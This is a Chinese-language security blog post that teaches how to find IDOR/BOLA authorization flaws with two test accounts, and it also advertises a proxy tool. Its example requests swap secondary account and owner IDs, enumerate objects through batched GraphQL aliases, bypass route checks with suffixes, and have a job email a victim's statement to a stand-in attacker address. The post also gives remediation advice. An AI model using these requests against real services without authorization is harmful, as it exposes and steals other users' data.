# IDOR 藏在第二个标识符里:用双账号 Shadow Replay 发现 BOLA

> 人人都在 fuzz URL 路径里的 ID;但路径里的 ID 通常正是应用真正会检查的那个。真正的 access-control 漏洞藏在 body 里的 account_id、node(id:) resolver、异步的 PDF 任务,以及那个你从未发送过的 PUT 里。这里讲清楚 BOLA 究竟藏在哪,以及如何用两个账号把它 diff 出来。

**Key takeaways:**
- 路径里的 ID 是诱饵:应用会校验 URL 里的主键,却盲目信任某个次要标识符——JSON body 里的 account_id/org_id/tenant_id,或一个 X-Account-Id header。只换那个字段,路径原封不动。
- GraphQL 的别名批处理(a: node(id:"1"){...} b: node(id:"2"){...})能在一个 request 里枚举、绕开按请求计数的 rate limit,并命中那些跳过了 REST 层强制的对象检查的 node() resolver。
- 对象往往根本不会在 response 里回来——它通过导出、PDF、邮件收据或 webhook 带外泄露出去,而这些都是用你能掌控的 id 构建的,因为 authz 检查只装在同步读取上,而不在异步任务里。
- 别相信 status code:软失败会返回带空 body 的 200,缓存会把别人的 200 返回给你。要确认 response BODY 就是 victim 的数据——两个身份之间缺失的非对称性才是信号。

**Series:** Bug Class Deep Dives  
**Published:** July 4, 2026 · 3 min read  
**Canonical:** https://crusaderproxy.com/research/zh/posts/finding-idor-bola-with-shadow-replay/

---


每篇 IDOR 教程都给你同一套操作:找到 `/api/orders/48210`,把它改成 `48211`,看有没有 `200`。这套操作训练你去攻击那个应用最可能会检查的标识符。URL 路径里的主键,正是框架的 `@authorize` 注解所在之处、ORM 收窄查询之处、评审聚焦之处。它是诱饵。你 fuzz 它,拿到一堆 `403`,判定这个接口安全,然后径直从漏洞旁边走过。

因为漏洞几乎从不在你看得见的那个 ID 里。它在*第二个*标识符里——那个应用压根忘了它也是个标识符的东西。

> **路径里的 ID 是他们会检查的那个。漏洞藏在 request 携带的第二个标识符里——body 里的 account_id、header 里的 tenant、GraphQL 别名里的 id——那个没人为它写过授权规则的东西。**

## 换的是次要标识符,不是路径

下面是有回报的那种形态。一个 request 会同时以两种方式框定一个对象:路径里的一个资源 ID,以及别处的一个*所有权* ID——一个 JSON 字段、一个 header、一个隐藏的表单值。路径里的 ID 会被校验。所有权 ID 会被*信任*。

```
POST /api/v2/reports/generate HTTP/2
authorization: Bearer <attacker token>
content-type: application/json

{ "report_id": "attacker-owned-uuid",
  "account_id": 5561,          ← victim's account, not yours
  "format": "pdf" }
```

`report_id` 属于你,所以每一层资源级检查都干净利落地通过。但 `account_id` 决定的是报表包含*谁的数据*,而处理程序直接从 body 里读取它,根本没问你的会话是否有权访问账号 `5561`。路径原封不动。**只**改 `account_id`——或 `org_id`、`tenant_id`,或那个带外承载同一含义的 `X-Account-Id` header。这就是大多数 hunter 从不做的那一步,因为教程训练出了错误的条件反射。

## GraphQL:别名批处理把一个 request 变成一千个

GraphQL 是对象级检查葬身之地,因为对象获取是一个共享的 resolver——`node(id:)`——被十几个查询触及,而 REST 层给每条路由拴上的授权往往从没进到那一个 resolver 里。然后 GraphQL 又递给你一个倍增器:**别名(aliases)**。

```graphql
query {
  a: node(id: "VXNlcjox")   { ... on Invoice { id total customer } }
  b: node(id: "VXNlcjoy")   { ... on Invoice { id total customer } }
  c: node(id: "VXNlcjoz")   { ... on Invoice { id total customer } }
  # …200 more aliases in one HTTP request
}
```

两件事同时发生。第一,你在*一个* POST 里枚举了 200 个对象——而由于大多数 rate limiter 计的是 HTTP request 数,而不是 resolver 调用数,你就悄悄溜过了一个本会节流 200 次 REST 调用的按请求限制。第二,这 200 个全都经过 `node()` resolver,也就是那条往往省掉了 REST 接口本有的对象级检查的代码路径。批量枚举加上系统里最薄弱的检查,在一个 request 里。先解码那些 ID——通常是 base64,如 `Invoice:41`——自增、重新编码、做成别名。

## 二阶 IDOR:对象从侧门离场

最阴险的变种从不在你正盯着的 response 里返回对象。你请求一次导出、一份报表、一个 PDF、一张收据、一个 webhook——而敏感数据是*异步*离开系统的,由一个后台任务用你提供的 id 生成。

```
POST /api/statements/email HTTP/2
authorization: Bearer <attacker token>

{ "statement_id": 88120, "deliver_to": "attacker@evil.test" }
```

同步的 response 是一句平淡的 `202 Accepted { "job": "queued" }`——没有对象、没有泄露、没什么可供 diff 抓住。然后一个 worker 构建 statement `88120`(victim 的),并把 PDF 邮件发到*你*的地址。authz 检查是写在同步读取 `GET /api/statements/88120` 上的,那里正确地返回 `403`。没人检查渲染同一对象的异步任务。要盯着*离开系统的东西*——那封邮件、生成文件的 URL、webhook 载荷——而不只是 HTTP response。

## authz 忘掉的那个方法,以及跳过检查的那条路由

授权常常只在 `GET` 上强制,而在那些会修改数据的动词上悄然缺席:

```
GET    /api/documents/7781   → 403   (checked)
PATCH  /api/documents/7781   → 200   (not checked — you just edited the victim's doc)
DELETE /api/documents/7781   → 204   (not checked)
```

而路由的怪癖会彻底跳过基于路径的检查。一个 `.json` 后缀、一个矩阵参数,或一个末尾斜杠,都能改变匹配到哪个路由模式——以及哪个中间件被触发:

```
GET /api/documents/7781        → 403
GET /api/documents/7781.json   → 200   ← different route match, check bypassed
GET /api/documents/7781;x=1    → 200   ← matrix param defeats the path regex
GET /api/documents/7781/       → 200   ← trailing slash, different handler
```

检查被钉死在一个精确的路径模式上;任何匹配到*另一个*模式却抵达同一个 controller 的东西,都会毫无防护地运行。

## Mass assignment 是写操作上的 IDOR

它写侧的表亲:在创建或更新时对一个所有权字段过量提交(over-posting)。如果服务器把整个 JSON body 绑定到一个模型上,你就能把别人的对象分配给自己——或者把你自己的对象交给别人。

```
PATCH /api/tickets/9004 HTTP/2

{ "title": "updated", "owner_id": 5561 }   ← reassign ownership you don't own
```

和读侧 IDOR 是同一个根因:应用信任了一个本应从会话推导出来的、来自 body 的标识符。在每个创建和更新上都试试 `user_id`、`owner_id`、`account_id`、`role` 和 `is_admin`。

## 检测陷阱:一个 200 不是一个发现

这里正是 hunter 烧掉大把时间、提交误报的地方。**status code 会朝两个方向说谎。**

一次**软失败**会返回带空 body 或已清洗 body 的 `200`——应用捕获了 authz 失败并优雅降级。你记下一个 `200`、欢呼一声,可里面根本没有 victim 数据。一层**缓存或 CDN** 会把别人的 `200` 返回给你——一个共享的缓存键把 victim 已缓存的对象送到你的 request 上,看起来一模一样,但那是个缓存漏洞(照样上报,只是根因不同)。无论哪种:**核实 response body 里确实包含 victim 的具体数据**——他们的名字、他们的总额、他们的记录——而不只是一个 `200`。

还要留意*你越过了哪条边界*。同租户 IDOR(你在自己所属的组织里看到了另一个用户)是真实的,但有边界。*跨租户*访问(你读到了另一家公司的数据)则是另一个严重性级别、另一档赏金。报告里永远要写明边界。

这正是为什么 UUID 救不了防守方,也不该把你吓退。检查依然缺失;你只是去收集标识符,而不是去猜它。从确认邮件、`Referer` header、`201 Created` 上的 `Location` header,以及埋在无关 API response 里的交叉引用中,把 UUID 拉出来。UUIDv1 甚至会泄露一个你能收窄的时间戳和 MAC 地址。GUID 是隐晦,不是授权。

## Shadow Replay:diff 两个身份,寻找缺席的非对称性

把一个真实发现和一个说谎的 status code 分开的可靠方法,是把同一个 request 以两个身份跑一遍,然后读那份 diff。捕获两个保存的身份:一个低权限的 **attacker**,和一个持有不同对象的 **victim**。以两者身份分别 replay 每一个引用对象的 request。你要找的信号是**非对称性的缺失**。

```
# Victim legitimately fetches their invoice:
GET /api/invoices/90431 HTTP/2
authorization: Bearer <victim token>
→ 200 OK   { "id": 90431, "customer": "Northwind Ltd", "total": 8820 }

# Shadow-replayed as the attacker, same object id, nothing else changed:
GET /api/invoices/90431 HTTP/2
authorization: Bearer <attacker token>
→ 200 OK   { "id": 90431, "customer": "Northwind Ltd", "total": 8820 }   ← attacker must never see this
```

如果 victim 拿到带对象的 `200`,而 attacker 拿到 `403`/`404`,授权就是有效的——那正是你*想要*的非对称性。如果**两者**都返回带**相同 body** 的 `200`,非对称性就没了,access control 也没了。两个毫无关联的账号、同一个对象、一模一样的字节:这就是发现,而 diff 让它在一眼之间就一目了然,而不用手动重新登录十次。

## 修复

修复从来不是"在最上面加一个检查"。要在数据层把每一次对象获取都收窄到已认证的主体上:`SELECT * FROM invoices WHERE id = ? AND account_id = <session.account_id>`,这样一个你并不拥有的 id 无论 body 声称什么都会返回零行。所有权要从会话推导,永远不要来自客户端提供的 `account_id`、header 或 body 字段。在写操作和异步任务上都套用完全相同的 `WHERE` 子句——导出 worker 和 PDF 渲染器也都需要它。用允许列表限定可绑定字段以扼杀 mass assignment,并在 resolver 上做逐对象检查,而不是在一个 `.json` 后缀就能绕开的中间件里做逐路由检查。

## 核心

IDOR 不难找;难的是找到*你没在看的地方*。教程把你钉在那个应用几乎肯定会检查的路径 ID 上,而真正的漏洞坐在第二个标识符里、批处理的别名里、异步的收据里,以及那个你从未试过的 `PATCH` 里。这一切都是没有扫描器能确认的业务逻辑,因为确认它需要一个已知的 victim 来做 diff。就像[赢下竞态条件]({{< relref path="posts/winning-the-race-condition-bugs.md" lang="en" >}})一样,漏洞一直都在;方法才是把它浮现出来的东西。

这正是 Crusader 的 Shadow Replay 为之而生的:只需定义一次 attacker 与 victim 身份,然后以两者身份 replay 任意 request 并读取差异——基于 HTTP/2,面向 web、mobile 与 AI 目标。把它指向你历史里每一个引用对象的 request,换掉那个次要标识符,盯住那个本不该相同却相同的 response。[免费下载 Crusader](https://crusaderproxy.com/#install)。


---

*Original research by Crusader Research. Try Crusader free: https://crusaderproxy.com/#install*
